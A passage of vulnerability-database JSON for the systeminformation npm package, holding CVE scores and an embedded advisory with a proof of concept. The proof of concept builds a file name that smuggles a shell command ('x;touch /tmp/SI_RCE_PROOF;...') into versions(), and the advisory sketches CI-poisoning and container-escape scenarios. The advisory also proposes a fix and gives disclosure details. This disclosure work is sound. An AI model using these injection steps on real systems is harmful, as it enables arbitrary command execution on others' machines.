                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://www.npmjs.com/package/systeminformation"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7752",
                    "reference_id": "CVE-2020-7752",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7752"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-94xh-2fmc-xf5j",
                    "reference_id": "GHSA-94xh-2fmc-xf5j",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-94xh-2fmc-xf5j"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/79013?format=api",
                    "purl": "pkg:npm/systeminformation@4.27.11",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-297u-ugtg-bkdd"
                        },
                        {
                            "vulnerability": "VCID-2rnv-d3tb-hug9"
                        },
                        {
                            "vulnerability": "VCID-6t9m-cpgx-z3hb"
                        },
                        {
                            "vulnerability": "VCID-99un-1enx-5uhv"
                        },
                        {
                            "vulnerability": "VCID-axru-z7ku-nyh8"
                        },
                        {
                            "vulnerability": "VCID-fen5-17u8-efbs"
                        },
                        {
                            "vulnerability": "VCID-kg9c-n3a4-9uh1"
                        },
                        {
                            "vulnerability": "VCID-us5p-3w2r-13e6"
                        },
                        {
                            "vulnerability": "VCID-wd8e-yyex-vqff"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@4.27.11"
                }
            ],
            "aliases": [
                "CVE-2020-7752",
                "GHSA-94xh-2fmc-xf5j"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-c47r-q1dv-8qg7"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/41447?format=api",
            "vulnerability_id": "VCID-f4e3-n5n3-fbah",
            "summary": "Command Injection\nsysteminformation is an npm package that provides system and OS information library for node.js. In systeminformation there is a command injection vulnerability. Problem was fixed with a shell string sanitation fix.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2020-26300",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.01516",
                            "scoring_system": "epss",
                            "scoring_elements": "0.81583",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.01516",
                            "scoring_system": "epss",
                            "scoring_elements": "0.81554",
                            "published_at": "2026-06-04T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2020-26300"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-fj59-f6c3-3vw4",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-fj59-f6c3-3vw4"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/commit/bad372e654cdd549e7d786acbba0035ded54c607",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/commit/bad372e654cdd549e7d786acbba0035ded54c607"
                },
                {
                    "reference_url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-fj59-f6c3-3vw4",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-fj59-f6c3-3vw4"
                },
                {
                    "reference_url": "https://www.npmjs.com/package/systeminformation",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://www.npmjs.com/package/systeminformation"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26300",
                    "reference_id": "CVE-2020-26300",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.9",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26300"
                }
            ],
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            "summary": "# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation\n\n**Package:** systeminformation (npm)  \n**Tested Version:** 5.30.7  \n**Affected Platform:** Linux  \n**Author:** Sebastian Hildebrandt  \n**Weekly Downloads:** ~5,000,000+  \n**Repository:** https://github.com/sebhildebrandt/systeminformation  \n**Severity:** Medium  \n**CWE:** CWE-78 (OS Command Injection)  \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js — lines 770-776\n\nexec('locate bin/postgres', (error, stdout) => {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n').sort();\n    if (postgresqlBin.length) {\n      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {\n        // parses version string...\n      });\n    }\n  }\n});\n```\n\nHere's what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ ' -V'`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 — Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer    plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 — Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 — Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split('\\n').sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate\n  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n];\nconsole.log('Sorted:', paths.sort());\nconsole.log('Selected (last):', paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n  '/usr/lib/postgresql/14/bin/postgres',\n  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 — Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require('systeminformation');\n\n// This is a normal, innocent API call\nsi.versions('postgresql').then(data => {\n  console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x                         →  fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES\n/bin/postgres -V                   →  runs normally, returns version\n```\n\n### Step 5 — Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 — Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account.\n\n### Scenario 2 — CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 — Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require('child_process');\n\nexec('locate bin/postgres', (error, stdout) => {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split('\\n')\n      .filter(p => p.trim().length > 0)\n      .sort();\n    if (postgresqlBin.length) {\n      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {\n        // ... parse version\n      });\n    }\n  }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split('\\n')\n  .filter(p => safePath.test(p.trim()))\n  .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io",
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            "summary": "systeminformation has a Command Injection vulnerability in fsSize() function on Windows\nThe `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.\n\n**Affected Platforms:** Windows only\n\n**CVSS Breakdown:**\n- **Attack Vector (AV:N):** Network - if used in a web application/API\n- **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()`\n- **Privileges Required (PR:N):** None - no authentication required at library level\n- **User Interaction (UI:N):** None\n- **Scope (S:U):** Unchanged - executes within Node.js process context\n- **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited\n\n> **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable.\n\n---",
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}